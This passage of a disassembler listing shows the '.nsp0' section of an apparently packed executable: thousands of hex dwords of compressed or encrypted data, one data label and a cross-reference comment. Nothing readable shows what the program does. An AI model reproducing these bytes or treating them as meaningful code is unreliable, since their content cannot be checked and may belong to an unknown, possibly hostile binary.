2B21E8h, 0F59462DBh, 15E83DDEh dd 3BF99B50h, 0D5A347D5h, 46B0D77h, 84A15CF1h, 9103D44Ah dd 0B60709F3h, 8181DF6Bh, 7B0ED299h, 8542E523h, 0EC003107h dd 6F52F654h, 0ECD1C046h, 0CA1DD898h, 3C1623FAh, 0FDC074F6h dd 0BAD3498h, 23A03EFEh, 4A457E34h, 74270741h, 0C92E9BA1h dd 872F4BDEh, 17306A6Eh, 6E719587h, 21E6D12Ch, 0F58E20C2h dd 0D5C361AAh, 0DE5F9F9Bh, 65235F7Fh, 68D14C55h, 4D124DB5h dd 9CCC4554h, 0E9939BFAh, 47BD6688h, 0B626BC93h, 0FCD56278h dd 0F3FC346Ah, 807A08C7h, 0B730EE62h, 0DBC6E695h, 0DCB67BD3h dd 7508DF18h, 9E113A80h, 52BB5D93h, 4FC431D2h, 3FC8FF35h dd 5C737CDDh, 0B04E4DE4h, 4463FA83h, 78B436CBh, 59EC01E7h dd 62796B6Ah, 2A7C56D1h, 3C5A6F05h, 0ED33D505h, 33F72B86h dd 9D122802h, 7A1520B6h, 62C724EBh, 844329AEh, 81947119h dd 0F39D3B3Ch, 0E8AAC071h, 605DE946h, 0A16BB0B5h, 56C9F238h dd 0EFD7C77Bh, 4C36DA9Ch, 0C68DD531h, 0E0D24FEEh, 0B3ED8BFEh dd 59026D1Bh, 0A1118C08h, 0AFADE126h, 6B85562h, 0BD876CF2h dd 0BC7ACF68h, 3928E47Ah, 8874E6DBh, 855C4FDAh, 0FB22B05Fh dd 6BCEA77Bh, 0BD2FAEC7h, 0E12AC80Fh, 483B257Bh, 22A4F65Ch dd 97B0B0CEh, 68D244CBh, 34B6DA97h, 610F15A5h, 0F887F01Dh dd 0A080B512h, 8A3B6562h, 0CAE60DDFh, 0F208831Ch, 8C62421Ch dd 1DCCFA83h, 91B3A0FCh, 921A69DAh, 0A509FC2h, 0CAA1F14Bh dd 191864D0h, 18C5CEC8h, 5DF228C9h, 95E36990h, 2733E3A8h dd 409CB0A6h, 0D7025FFFh, 0C9911542h, 745C03E1h, 0BD46A038h dd 0C4AEF21Ah, 0E4165BB3h, 0C67B87BAh, 0A224F6A2h, 0DEC9E1A3h dd 0E207A9E6h, 892A7544h, 6D069D71h, 5D331E17h, 7B5851B2h dd 52AC061Ch, 88674454h, 12E3C79Ch, 20B9092Fh, 0C61CE8DDh dd 5298BD94h, 953A598Dh, 4C0B4C6h, 1FABF5EFh, 90FD0F9Fh dd 6DF1B7BDh, 671D1C9Bh, 7D8DFD22h, 4EA67981h, 16CA3DD8h dd 0A0110FC7h, 61A63035h, 88557ABh, 3F7CA60h, 0D5A19975h dd 0DF90AAF2h, 4092E846h, 761E616Ch, 16163A0Bh, 0A9E114E1h dd 0EA0C14F2h, 5FF97A05h, 6796474Bh, 1701E38Bh, 696DE5A0h dd 2CC47116h, 74B742Eh, 2AA8D891h, 0F51CA2B7h, 0D9348690h dd 7E236DA8h, 37BC960Fh, 8EAA55E9h, 9CF5E153h, 477248Ah dd 0C0760CD4h, 0E560658Ch, 5673E027h, 6AB95E42h, 16A3A5CCh dd 0CBCEA94Dh, 5DC4EE6h db 9Fh, 78h, 0D7h byte_494843 db 0B8h ; DATA XREF: .nsp0:00428640o dd 2069B8C6h, 1ECD2FF7h, 0E384AB7Eh, 9CD23BFDh, 988520Eh dd 0AF77804Eh, 0C180356Ah, 9C1D365Bh, 0AB6E6A5Dh, 0BEFE5C0h dd 306C6663h, 8E2181FFh, 17E2A644h, 40780F8Ch, 8480733Bh dd 454D2453h, 2784934Fh, 0C18C1817h, 21410B39h, 4A383CEDh dd 1E34B56Fh, 8E57A691h, 0BFE290CDh, 20CA59F3h, 1F0682AEh dd 378121D8h, 259194F7h, 858E275Ah, 0F91BE015h, 8DB2B37Dh dd 8796DDE4h, 8DA11AB9h, 2D05AF7Dh, 84DC5ECAh, 7AE135C0h dd 0A9D9885Bh, 10A4AFBFh, 0A21B2011h, 1FA18BA0h, 0C18F7434h dd 7EF1BD52h, 22231474h, 0E8C87F59h, 0FAD0147h, 2BF97742h dd 0DA5BA8A5h, 2ECC2C25h, 469A2218h, 0DA78BB2h, 0BFC235E4h dd 77BE4790h, 0C41D6A5h, 91F58CC4h, 4BDE9590h, 0DD31CDD7h dd 0E32933Ah, 738A18A4h, 78B97F7Dh, 9C3503DCh, 0A097ADF5h dd 61427DB1h, 0FF55B719h, 2E4E4658h, 0A3C65EF9h, 0DB823EECh dd 0A9EEF78Fh, 980F7C9Ah, 31CD16EFh, 0F33950D4h, 713422B7h dd 2A526820h, 0E1147B5Eh, 92C36D99h, 86656291h, 4DBA6A73h dd 3EE47286h, 0E2836FFBh, 0E4880503h, 0E712EAC7h, 0C2080441h dd 83FA73E4h, 551E5788h, 5DA4AA67h, 0D54DADB4h, 434D3C94h dd 6DC15E63h, 5FE7511h, 0B55DAD01h, 19340E9h, 0AD89719Bh dd 18C62BF1h, 35FA4CD7h, 7C541F81h, 0F9B79607h, 77357625h dd 47CFE69Dh, 0D4D08817h, 0C0C6CF4h, 11BC00A2h, 0EEFBA9B1h dd 8B5A2734h, 637F566Fh, 807F6B82h, 0FE12C884h, 5C67AE88h dd 2F284EE9h, 3C2DA5A1h, 67120011h, 70693A8h, 64C5E016h dd 0BC277DDCh, 691E4F02h, 0C22B3F4Eh, 4BBAAC43h, 0B1403EBh dd 43EEFE13h, 97FC13ADh, 0FCA4A8BFh, 4217D720h, 0BF757A93h dd 51703735h, 5604ABAEh, 0C8CE5EEAh, 0A519F66Ch, 6B17352Ah dd 37348AC5h, 4D67E6F2h, 4C29B5D4h, 0FC039034h, 6A02F395h dd 9096890Dh, 0CC6C51D4h, 0B7885AD4h, 0C7D70704h, 12564797h dd 75146A4Ch, 0C33FD9E6h, 41D37AE8h, 0CFF18A34h, 268101C1h dd 0E691AEC3h, 78E0EF6Dh, 0F5D781B2h, 759ABEFAh, 20B657C3h dd 0D4F23C93h, 28DDF701h, 0EB2BD1B5h, 0A6F2044Bh, 0D6FDF83h dd 865E6508h, 9AC60111h, 0BA01EAF9h, 0C6C1495Ah, 0B06D29EEh dd 0A207B441h, 0F254B664h, 70162851h, 5440C96Fh, 0DA1B10C1h dd 0B7ABFCD1h, 32557360h, 6C8EA848h, 0FCF2BC60h, 0C3E5155Ah dd 0CFB98235h, 0CE744951h, 5DAF9B17h, 991DAE4Fh, 94E1A2D1h dd 671A881Bh, 0FC49C430h, 43F9F15Dh, 6AF27D69h, 9A4CD2FAh dd 0B245BDEh, 0A2289DDBh, 0C32E73F9h, 31193AF2h, 786CBE1Dh dd 9B45CD14h, 7400E7D5h, 28F6EBA3h, 18EB46BBh, 404E6C37h dd 371D7FF8h, 82A3BF3Dh, 0C8DED81Eh, 0CE583A9Dh, 2B935AFEh dd 0CE4DBCF6h, 0D1577112h, 268BFBB3h, 57693014h, 0CE795548h dd 0DD2EF649h, 619CBAA1h, 0D0B02D5Ah, 0A6929661h, 0E3D36D6h dd 2E47EA15h, 9E5CB31Bh, 2285D98Dh, 0A4A36499h, 0CCD520E5h dd 0DD500819h, 6BDF6C1Eh, 2C879242h, 11CC9E79h, 0BB4215B4h dd 0BFAA6F02h, 6EC06B90h, 0F2379920h, 0C5D1CA6Fh, 0FA2CE145h dd 49D7EB9Bh, 4EFEAF19h, 0BD7D5773h, 0DF7C9D77h, 43A8003Fh dd 49C9092Eh, 0CF4FEA6Dh, 81F4CB8Ah, 0AA2580B3h, 75F88DB6h dd 692FB918h, 171583EAh, 131B61ECh, 171B66FBh, 625602E5h dd 9DADD040h, 0A4A1C6AEh, 7BEE2651h, 0D3B6010Eh, 69D7FF6Dh dd 0FFA0FE3Fh, 862339C8h, 6F5F0CBAh, 1F1D971Ch, 0B441396Fh dd 6F0A0425h, 0C48E0049h, 3396C73h, 87B787CCh, 0DB74BD15h dd 7FE14301h, 0C83EBC7Fh, 8BE8DF1Dh, 5E276B9Dh, 0C9E9FAF3h dd 3E321C75h, 332491DBh, 17B6B3A0h, 6EBA140Fh, 198F6C9Bh dd 2C4F376Eh, 1994E443h, 0E1DA1E2Bh, 718F3518h, 0C1EEEB92h dd 636DB1C5h, 5B0D7794h, 0BD834CDDh, 84C21C65h, 2EC5B75Ah dd 0F3484h, 3DF8A9A9h, 0F1E41D0Ch, 0D090A718h, 6E983787h dd 98354D01h, 0D3236D1Fh, 3990DEF7h, 93826C83h, 0C793A048h dd 0E3B42236h, 24AAC729h, 0FCF184FAh, 90453B74h, 9783A41Ch dd 0CEFFBA5h, 0DDB8CAFEh, 37766339h, 5CEA042Ch, 6926C1E9h dd 365DEB16h, 0D5D136A8h, 25694170h, 5CCE0AB1h, 1920D07Ah dd 2B1129E0h, 1DF65B16h, 69569DC7h, 1A06926Eh, 0E16DCF7h dd 5A48C3F0h, 0E19A317Dh, 0C503274Ah, 6F924DBFh, 11B3AEC0h dd 79C89870h, 392BBAF0h, 7F694680h, 0EBC1651Ah, 0ADA6A8BBh dd 0FE743497h, 46EC81C8h, 767839EBh, 0AF35FCFBh, 6B5146B7h dd 0E069DBFEh, 0D552F9EDh, 0B216299Fh, 0F36559B5h, 603C4559h dd 0E40CEF9Fh, 837EDBECh, 95CFC58h, 1064F99Eh, 0C1F12222h dd 74D580AAh, 0E153B086h, 0D16F901Ah, 0DB5396F5h, 2847B937h dd 33191819h, 81262C24h, 75948FF3h, 0F14854BBh, 6B3DF2B2h dd 62575F51h, 0F8CB9426h, 0C6F4B013h, 0BD69B3A6h, 0ACC16922h dd 0C75BF1F1h, 0EE05A570h, 95E0E03Ah, 3A074C00h, 0E1138D12h dd 5A3B3FC2h, 0BE850468h, 0F490F4BCh, 0EA92B0C3h, 45ABD237h dd 6A358539h, 0FDD79DFEh, 4A68891Ah, 0E081076Dh, 0AD996FCEh dd 0CE243988h, 0E0D3ECD4h, 0E97B5BA1h, 0F05B2672h, 0A2969BA6h dd 526EC722h, 0C49B402Fh, 0CBD82183h, 5353CAE5h, 0CED778B6h dd 264BC18Bh, 0B5ED6AD4h, 0AC9E6CD2h, 0F6F385A6h, 43972F60h dd 0CF956181h, 172444E4h, 0A2ED3AB9h, 30B023E1h, 3905EF39h dd 98F8AB1Dh, 0F7F9A37Ch, 11A6A8Dh, 0A09F9BC7h, 84A2E952h dd 0C967782Ah, 59B638EDh, 0F06A13Bh, 7B49E55Fh, 3B1A70ABh dd 0FB175898h, 450334B3h, 5395A862h, 24E7BE09h, 5758DACAh dd 1F5C2BB2h, 545040D9h, 1B584B9Dh, 0CBE641FCh, 0B168BECBh dd 11248A81h, 0BAFB952Eh, 0AF5350EBh, 0E6C68824h, 0F501F2E5h dd 17F32E3Dh, 0B7F54DBh, 0A6E47538h, 0AD10F8A6h, 713453F0h dd 0D4AB698Bh, 0A013CB02h, 7D4F94F6h, 7E67EB28h, 279318A8h dd 0A361500Dh, 872877Eh, 0E7437A2Ah, 4A367DB0h, 2D4846E5h dd 0EF8CFB9h, 6696976Eh, 727DA99Bh, 1861C1E5h, 0F6EAB8B7h dd 1EE022E2h, 9F511C17h, 0D1C4E6Fh, 8D2A01C4h, 17CD1CD4h dd 0EB342A8Ch, 0EB5A7EE7h, 3A94AEF0h, 0B9DBA354h, 0F71049FCh dd 3C50C695h, 0ECBC749Bh, 0B6DD463h, 0A62B56B9h, 0B58C32ABh dd 6AFFA58Fh, 0B3D74F1Ch, 0A285999h, 562151B6h, 0E6047837h dd 0E84618B2h, 381AF252h, 73CB9646h, 0F5E2167Eh, 3B7D3A96h dd 0D9BFF6F0h, 0F6731962h, 0C685DC74h, 349973B5h, 7DDC5E78h dd 113F1759h, 7C3B1CAh, 0DB5A62FFh, 0C7E74D8Ah, 71F56879h dd 1C0A7DAFh, 7DA2BC2Ah, 248709ABh, 21150E6Bh, 865519ECh dd 6BD1E802h, 0E90BAFF0h, 0A8576818h, 256DF59Ch, 3E291B96h dd 0D52D2CF9h, 0DA3658C0h, 1FDA01E8h, 5B0736ADh, 5399622Fh dd 57A2921Bh, 27172537h, 0FD37442Bh, 259D0559h, 60EC403Ch dd 7D93D66Fh, 0BB123304h, 8029B0F7h, 79D23B2Eh, 41D7CAADh dd 0CD7031E0h, 11BA6832h, 0D2D10F60h, 0C4A238C6h, 80763DCCh dd 0AA4A5A53h, 0E9A4D332h, 179D183Ah, 0DA9327CBh, 0DCEB34C2h dd 0B741385h, 6632BCECh, 31329E7h, 585FC531h, 7FC8CA1Ch dd 0ED2125E4h, 572AD019h, 0B2807BECh, 2D18B11Bh, 7A74D6E3h dd 2FABCFD9h, 2895472Dh, 924AFA90h, 44C06EC2h, 62EEE300h dd 6321C2DCh, 4E1D4664h, 58A9061Dh, 646FD96Fh, 7162B501h dd 0ED6278E6h, 0D116D615h, 134348C5h, 0CDF812F7h, 14F5B6E3h dd 99E923FDh, 1DB99774h dd 636082F0h, 9CE92B22h, 2E0DE279h, 0C72BD02Ah, 7CA0BBCDh dd 72422132h, 0EDEFDAAh, 0D79C5E2Eh, 372EE762h, 0B2F85F09h dd 9BC5C3A7h, 5A9362EDh, 44746F4Dh, 406F9B40h, 97D74B87h dd 0B9FA398Fh, 66BF8ABEh, 5BEA1DD1h, 0D1474BFDh, 5B519696h dd 2AF5D502h, 0BC46DA65h, 4FEFA0B4h, 68598E19h, 9C765A7Eh dd 2A9B4DC5h, 46460B19h, 708A6A62h, 30EE7504h, 0BB1C464Ch dd 43DF648Ch, 0D7425DEAh, 1823A3BDh, 660E5B30h, 0FD0BBA72h dd 27EEBFE4h, 0D2D02D8h, 8406016Bh, 3A73BF2Ah, 7520CE16h dd 240F045Bh, 65A496BEh, 0A3AB5D98h, 173007A6h, 54DE8EC8h dd 113D1980h, 43EE0699h, 48BBCC71h, 7D7F56C6h, 5486D229h dd 0D6C62E30h, 0F4A9E1E0h, 0DE71374Fh, 0A8D35B81h, 0EA51FF28h dd 0D2D1960Ah, 5D16ED6Ch, 5745872Eh, 0FAB94F5h, 122CF686h dd 7C10CACEh, 9AABFD9h, 48AB291Dh, 0DB025646h, 5156C220h dd 5EBA88E2h, 0AD2CA083h, 0B1B9FFA4h, 0EC5DDF15h, 0CEA7D8D0h dd 5E7811C3h, 0BC9BC9DFh, 0E47B5DC8h, 70B3F944h, 0EEEC46A6h dd 5E5B1210h, 54F19F76h, 0B0EF32A6h, 3A5CCA52h, 0C1C9032h dd 0E74C45F4h, 90C12AC9h, 6EA2769Bh, 7B8FF567h, 0D1744C65h dd 0A49A5465h, 0EB1B3E77h, 6211883Bh, 893B243h, 2F3365C6h dd 0C15E0D91h, 0F1844BB3h, 0EDE414BCh, 22D8B0CDh, 94FF0650h dd 329AB719h, 0A5D1E8F4h, 0D1332ABCh, 0B6B2B02Dh, 0D2CD5B90h dd 8F4E08CAh, 160B412Fh, 0AFE4536Fh, 6724901Ch, 0ADA1CDC4h dd 73470DD6h, 56D02162h, 26EAE46Fh, 0CAB8EDF5h, 7378ECC2h dd 6E6A3000h, 8D5527B9h, 9C207319h, 541CE889h, 0DC5CDE48h dd 0A18BD5E6h, 66D6B407h, 0DC5C6716h, 99FB8F1Bh, 0F211946Eh dd 7EF63502h, 423BAA0Ch, 81EA9B48h, 24818A97h, 0F781AB54h dd 92FA9644h, 8CDC7DEDh, 302689E2h, 1A32D3FDh, 0B052EBFBh dd 2052B74Ah, 0F613856Dh, 0D67869E7h, 0A76C7E31h, 7FB5FC4h dd 0B11F275Bh, 1E639535h, 56653C02h, 50574479h, 0FCE348Dh dd 0F33E4A91h, 835E8AC4h, 37B10A13h, 0E58FC705h, 3B251A5Bh dd 0A0813C37h, 39B2FF66h, 298DB6C7h, 0A10E2965h, 12CEB89Eh dd 0E4D770C3h, 0B8E3DC87h, 0C2CDCBA8h, 0D10AB13Ah, 684F0A13h dd 0B7A1A853h, 0CFF96222h, 7AC27BC3h, 0DA4083F7h, 9603B7A4h dd 0F7FF36C1h, 80FE0B1Fh, 0AA7679A1h, 427D5ACAh, 42079FBh dd 0AE32EAD5h, 0E4EF0379h, 0D4611A47h, 45CD1A86h, 0CAB7A28Eh dd 4762ABB0h, 9EC6D73Fh, 0D38BB618h, 824D028h, 0C2DD07C0h dd 0B3F3CCCAh, 0FDB738C1h, 744849B0h, 0E415E1F9h, 0E68B0843h dd 0EC2E2E37h, 0F966B463h, 8D15EAC8h, 0E21D18F3h, 0E38B695Dh dd 0CAD4DD4h, 0FF6F66E3h, 61A1EC12h, 5B882DFDh, 4125338Dh dd 0FA051201h, 0CA0B0C18h, 2282CA8Ch, 0CC0E7F72h, 829FB383h dd 0BF52FFDCh, 9B656E1Fh, 9D8F329Eh, 54038FD8h, 5B6032C1h dd 9994C1EFh, 1CACA388h, 4E23115Eh, 2C726195h, 2600DAA9h dd 3F9E273Dh, 9A134E3Eh, 0F347D9EBh, 14214D55h, 5B0D98A8h dd 2FE9C6Fh, 471E4D25h, 0E71678A5h, 7FF34C30h, 0D79A0BA8h dd 2A253D9Ah, 8592D3F1h, 0B56D0BD0h, 84CDD688h, 0B12035CFh dd 8B9D2AE6h, 0B8262074h, 470EACF0h, 1FE2B797h, 2BD553BDh dd 0F7012E39h, 9DB3148Fh, 0D5DE3CB4h, 8BBC92FDh, 0A233291Ah dd 0E24A64CAh, 89C8FCCEh, 0D6FDF77Bh, 0C40F2120h, 0D8792099h dd 5DD5BE6Ah, 5119CBCh, 0C19A9F62h, 1DBD6268h, 0FC788037h dd 8666442Ah, 480C7F12h, 4CF30845h, 59907416h, 0DDD9EC67h dd 7E525C0Ch, 81FFCBDh, 0CD10DA82h, 8174AC9Bh, 2D3860AFh dd 0D36BF02Eh, 8869DB3Eh, 0A14DB6B2h, 0D12CE136h, 0A881D824h dd 383E11A0h, 39FDD7D1h, 7351DB2Fh, 4878645Ah, 0D2364B0Dh dd 8B3FEA1h, 82A80E90h, 96AA3695h, 54F21D28h, 0B3973604h dd 145BC118h, 6A754CA3h, 0F83A1F05h, 0DFBC9774h, 0D967B45Ch dd 486F4FAh, 166CDA19h, 956C9CDBh, 0CCE18FF1h, 45C49031h dd 0F777D50Bh, 785F78A5h, 0BE2729B3h, 9E4A5452h, 0D2F42A9Eh dd 52CBF6B5h, 3EF8270Ah, 22DCC3FFh, 49D1C39Fh, 11828BF0h dd 0B2B33896h, 1CDF1B81h, 0C4F9C2EEh, 0DD834FF2h, 638649C7h dd 5F0ADA0Ch, 0C4260134h, 0AA122993h, 0F8E43CC7h, 5C672DDFh dd 1791BCFFh, 89631E1Ah, 5C06D715h, 9B800FBh, 0FD0CE5F7h dd 0A62BB9FBh, 842C5345h, 1E973FECh, 2579D715h, 0FC4E9458h dd 0F067994Fh, 762D5456h, 0FB088C2Dh, 0F1302035h, 512CFD9h dd 77953A02h, 816B6D4h, 571D599Ch, 0BDE4F4A0h, 8F2BC16Eh dd 0BF1EF01Eh, 80295C0Fh, 111FC2Eh, 8D8BE619h, 9CD08BDAh dd 76F2DA17h, 4A72AA0Eh, 708E3461h, 0DCD1D87Ah, 72D1EFC0h dd 24225222h, 0BF0F9A5h, 0A0396545h, 130822A9h, 0CFF5BE56h dd 4A91C6D8h, 0BBAC1B89h, 0F6B3FB1Eh, 7E3C6F1Fh, 0B474923Eh dd 60840750h, 83922A9Ah, 564494F7h, 7C020270h, 6BC95315h dd 0CA0EA65h, 0E039597Ch, 11EA2601h, 0DD38BFABh, 6491A7Eh dd 0E81D83BBh, 0D310555Ah, 393D7C25h, 0C67C4F29h, 2A23B6E4h dd 0CF5D26FCh, 29A392E2h, 2899BF87h, 0FEC03B79h, 8FD3A225h dd 9335D72Dh, 1AAE7A2Bh, 0FBE5F9B0h, 8376304Ch, 0F8A506Fh dd 0A31788E2h, 36E34A9Eh, 9A9FD51Ch, 0BE0C54E0h, 56C1DE25h dd 0C2DD9D6h, 83519ABDh, 0CA7028A0h, 0A81D05C8h, 0CDA62C00h dd 0E922B020h, 0B33C1E18h, 0E6DE2D91h, 414E7598h, 0B1C69BCEh dd 0A6BDDA5Bh, 55848CE9h, 87597F03h, 7DD1FE1Dh, 0FDA4B21Bh dd 28B3AF7Eh, 9BFA8EC0h, 0F63FD638h, 69914DA1h, 0EA8157CCh dd 780801D1h, 126B404Fh, 256F8F88h, 620EA34Ah, 0C3CA5AA9h dd 0EDB14495h, 0F1F290C6h, 6A193A4Bh, 0D5B346CAh, 21C54303h dd 670E0236h, 675BE343h, 0DE6B211Bh, 0B975F85Ah, 6C0026CFh dd 7E05B07Fh, 0F3E39F47h, 0BA1A3354h, 0A2F5090Bh, 0E1A8D790h dd 0FD14D849h, 8399599h, 0C9D66360h, 8261489Ch, 91A947F1h dd 2D0A9199h, 7AFEA585h, 87CD0561h, 0B56C434Dh, 67FF3633h dd 34782319h, 6ECE9BB4h, 3C0302FEh, 28A643A9h, 7E0E2F87h dd 0E27E5815h, 0A80B5990h, 9E71994Bh, 0F041D19h, 9134747Ch dd 69A1DCFEh, 811BD33Eh, 699189FAh, 37DCDCEEh, 2CC68566h dd 17B98B2Eh, 9E9C076Eh, 70DE207Fh, 0CEA89767h, 2346192Ch dd 2041881Fh, 0B72155C1h, 0DB133267h, 95ADB95Ch, 4C152F0Bh dd 0C3C27349h, 178EC678h, 7586CE89h, 23D12FE2h, 0B35C6F4Dh dd 87A06E3Dh, 0A7F593D9h, 6EDEC9EDh, 0F00786F7h, 4EDFC7A4h dd 3F29DA66h, 8856EF0Ah, 0AC05DA39h, 0B3DB6341h, 794B917Dh dd 3AFEE63Ah, 409CE49Ah, 0D576A71Ch, 0CBCAB4C0h, 3AEA38D3h dd 0BF4D088Fh, 2EEB94D1h, 9481256Dh, 0C2BD2419h, 0B3FC391Bh dd 572AAEE2h, 8D3CBB27h, 2AAFAE24h, 6419151h, 7CA10877h dd 5F72E71Eh, 284AEA4Ah, 77EC1E0Dh, 0D13450C6h, 57D8AA3Ah dd 6959B859h, 0A5D2DEFEh, 0A9323725h, 5198625Ch, 0AE69D045h dd 0E1976088h, 43038B40h, 0D52747C4h, 30CA7D4h, 0BCB83797h dd 4B5194DCh, 2E1B6F52h, 3A3EA7Ch, 0F30B9F9Bh, 0C375F361h dd 6757EF6h, 2744394Dh, 414278E7h, 9DE7C01h, 4C9CF29Ah dd 6CDA3B3Fh, 0EC33EF9h, 0C9981241h, 1E4A02A6h, 0FE2E153Fh dd 0E3FE96C4h, 0A9AEE9D2h, 0DF3F123h, 0D7C3B58Ah, 1417C3E5h dd 550AC597h, 5FCBE113h, 7EA48776h, 58890A3Ch, 8AE1521Ch dd 946DEF86h, 9A0A3D4Bh dd 37BF41A2h, 0FD8A1CA1h, 0DCF43BA5h, 0B61F1FE7h, 3B33C6CFh dd 0ADBA0915h, 6370EB9Ah, 90280C21h, 25428588h, 3BDB5B72h dd 42983A38h, 371D9406h, 507B813Fh, 4D84C761h, 2B17DE9Dh dd 0C54B1FF5h, 915AF0AFh, 64BC63FAh, 0A5B86294h, 8CE69A1Eh dd 0D30F442h, 5FE3E78Bh, 2FD62F97h, 8D5BBA7Bh, 0B471A29Bh dd 59407C71h, 0EDB716F9h, 1623A401h, 8078EA8Fh, 35A50165h dd 507820A2h, 510884EFh, 6CA8C6A0h, 3CBAB239h, 0D159BA97h dd 8DE7264h, 0F9A0BE28h, 776325FBh, 0FE834F94h, 41DF7AF9h dd 233F1076h, 76024136h, 79259ABAh, 0F034AED7h, 285ED031h dd 0DBFA18A0h, 3F0134DCh, 89E13F06h, 5D5D72C7h, 0D2D0C93Eh dd 1010B927h, 0EB9E13AAh, 7DC1070Dh, 0E2476E90h, 6CFC43AEh dd 0C0035171h, 42714D1Eh, 48CB632Bh, 0A311E525h, 719821B8h dd 89DA2877h, 0BC703261h, 0A9DC3678h, 0D5CBE18Bh, 7E21D90Fh dd 50BD287Fh, 1F3B48CCh, 0CDA309E4h, 0BBA1F462h, 4794F647h dd 0CA98FF05h, 5E66E21h, 0EF6C8AA2h, 0E35DDB3Dh, 444E7921h dd 0E382414Bh, 0A62E258Eh, 98EF15F6h, 8E056E10h, 133E6CF4h dd 0FC220150h, 0A92BFF70h, 3F95E05Bh, 3066F767h, 0CBF5ADC9h dd 0D3C090B4h, 1F8FC0F2h, 9D127090h, 0D8B8DA32h, 7F88221Bh dd 0BEB00A1Ah, 0DDB8BBFDh, 983E904Eh, 0AC5CD60Ah, 1A8DCE99h dd 0DA2D7D19h, 0A9199A09h, 54FFBDBAh, 0E5F625FDh, 0DB4161D1h dd 0ECA05983h, 9DE0D1BBh, 0DF0C419Fh, 59B21BCAh, 0F0C8B39Bh dd 0D99667D1h, 0E7FDC579h, 0A0A07731h, 5DA55CF6h, 7804432Dh dd 2B3D19E7h, 29B9DCBBh, 43C97796h, 0D76383E1h, 7068CD16h dd 0E1D65488h, 0ED2146B5h, 0A7FC1D79h, 6A0B8CDCh, 717333FBh dd 7A1CD3E3h, 0E24CB2BBh, 63C57174h, 3BB58782h, 21E753B4h dd 0D95EFA05h, 548D2AE4h, 6B22B089h, 0BC1D77F6h, 0B7902921h dd 0AC44F9EBh, 0E16087A8h, 45C3E7B8h, 9D562FCDh, 39E957h dd 5BE1A5F8h, 725FE5CAh, 6CF9FA52h, 0BAF40577h, 57FA25EEh dd 8A7ADCCEh, 4BE695A0h, 5BBF9666h, 9CB12C1Ch, 96B15622h dd 3E3D4347h, 37150E08h, 98040518h, 0F1015911h, 18C2AEAEh dd 1D178155h, 302DC230h, 0D4A3B329h, 33B69A86h, 87CD8732h dd 2811373Ch, 9C0346CFh, 0C190B6B4h, 2C53E6B4h, 0A0FD354Dh dd 9BCF4680h, 416F5472h, 65E44AD8h, 8DC4628Ah, 14E43241h dd 2E162095h, 0B2443BD8h, 0B75BCC78h, 424CD4F0h, 50CFC5B7h dd 0C77D5D78h, 3195A9F6h, 0B5A5AC66h, 2C9CCC18h, 1BB3A370h dd 82144B4Ch, 9A53E49Ah, 664E4910h, 2E394775h, 0BF656E6Fh dd 0B269655Ah, 72B897A2h, 55C82167h, 44BAFACDh, 4DD82A9Eh dd 44E9F580h, 648E4A8Ah, 1BAE3D6Dh, 0B7609F2Ch, 49E73BF2h dd 25C8C5F3h, 0A0628089h, 0DA791434h, 7F699927h, 18BC1FBEh dd 0C9FDA94Fh, 0ADA79F15h, 469093C5h, 0A00AAB66h, 0CBC49871h dd 34901008h, 0F0A2115Eh, 0D90C6976h, 622F6ED0h, 0AA93DB0Fh dd 93CF8318h, 17EA6E4Bh, 0E3FBE2BAh, 7B4DF814h, 0F3FFB3B8h dd 0D5459C30h, 4629897Dh, 6FCE42E7h, 4E1BAE66h, 0E893B213h dd 27821CA9h, 35C49A32h, 0E92B660Fh, 0CF669951h, 3F738F9Eh dd 626F5C78h, 3C7EAC87h, 0AFCD6B9Ch, 269AAF54h, 0C2C48E50h dd 6687D2DCh, 0FFBE14D1h, 0E5EE9888h, 67A545E6h, 1D1CE370h dd 77BF30D2h, 70CA228Fh, 74A2E881h, 0C76571DBh, 83E58C64h dd 0B140F960h, 3613E88Ch, 0A796227Fh, 0CF323E3Ah, 0CCD7873Ah dd 0DA1768D3h, 0DAE1E8CAh, 0F7D1C39Ch, 5A1EA7EDh, 0B34976A6h dd 3BCCAABBh, 375F03F0h, 63EB191Fh, 0DE1CB94Fh, 0D0566985h dd 4F7069A5h, 0F4C4D82Fh, 544EE781h, 49838C0Eh, 3BA312D1h dd 0E5E0C03Dh, 0A9F6F227h, 4131C547h, 0ACE07B53h, 328E707Fh dd 1D744DFDh, 51F3FAD7h, 0FF65A90Dh, 0A824AA0Bh, 5CB8ECECh dd 6E98C9A3h, 96FE5E74h, 1813C5A6h, 0B83E0D19h, 87973252h dd 923216E3h, 6C086DAFh, 0F2F39D9Bh, 8B02E31Eh, 503255EFh dd 0AD274D6h, 46F08C2Eh, 0D0A1890Ch, 7453B212h, 16083494h dd 0C0D3F4Fh, 0E817DB74h, 220E8228h, 84DE23D5h, 908B8987h dd 3EEEA6EEh, 24560745h, 30864F32h, 0CA26D5C2h, 0BD54E3C8h dd 507BC086h, 2E0C7D4Ch, 0A5DABBE8h, 5356CA56h, 9471C457h dd 1625186Bh, 83FE46A7h, 0D2F1C45Fh, 4AF6BDF0h, 339E01AAh dd 0C2EE44BBh, 5BED4F9Ah, 3C117314h, 0F6490BB7h, 1D64EF48h dd 0A9408118h, 512D6D81h, 59EFB78Dh, 4A2719D4h, 6BF9083Fh dd 0B10F3503h, 0A4394C1Bh, 516EEC08h, 0E26A05E7h, 0CF4CF69h dd 631C9D4Ch, 31F196Eh, 0D330C5A0h, 614E634Eh, 797B0214h dd 9BCE2521h, 0FECB76F9h, 0A010A639h, 0DBF20717h, 0EC5DD1B9h dd 0B87C8DDEh, 0C6BCB924h, 3C5019EEh, 952344FBh, 5BB6AC1Dh dd 269FE58Dh, 5CAEC38Ch, 93B2C777h, 52B62C3Bh, 7F13F011h dd 637A318h, 0D2B920FEh, 70920A60h, 74BF599Bh, 9712C56Bh dd 83DBC4DFh, 62006F32h, 0FB1D2634h, 0A973EA01h, 64DF5328h dd 10EC1830h, 9EDD9A80h, 851DCA86h, 81653AC7h, 95BF43E3h dd 6FB5D9FFh, 592299DCh, 8BF75597h, 6DF44B18h, 0A4FDEABDh dd 752AC5AFh, 53A9D0B8h, 1231F3E5h, 69A4220Ah, 10A843C2h dd 5BA4694Bh, 583A88C2h, 0D089235h, 701F5FC4h, 0D46E9FB1h dd 27DBF326h, 0D39A3A1Eh, 0D6CE2202h, 956B8949h, 4A9BE6B7h dd 934A7AFAh, 7B1CA90Eh, 5FF0B5E2h, 74BB91B9h, 572624ECh dd 0F5EF8173h, 364C7117h, 1E07B51Eh, 6C883FB3h, 27E5E6CFh dd 0F4E4024Dh, 62F969B0h, 69BF21CBh, 7AE01DAEh, 1D8F54CEh dd 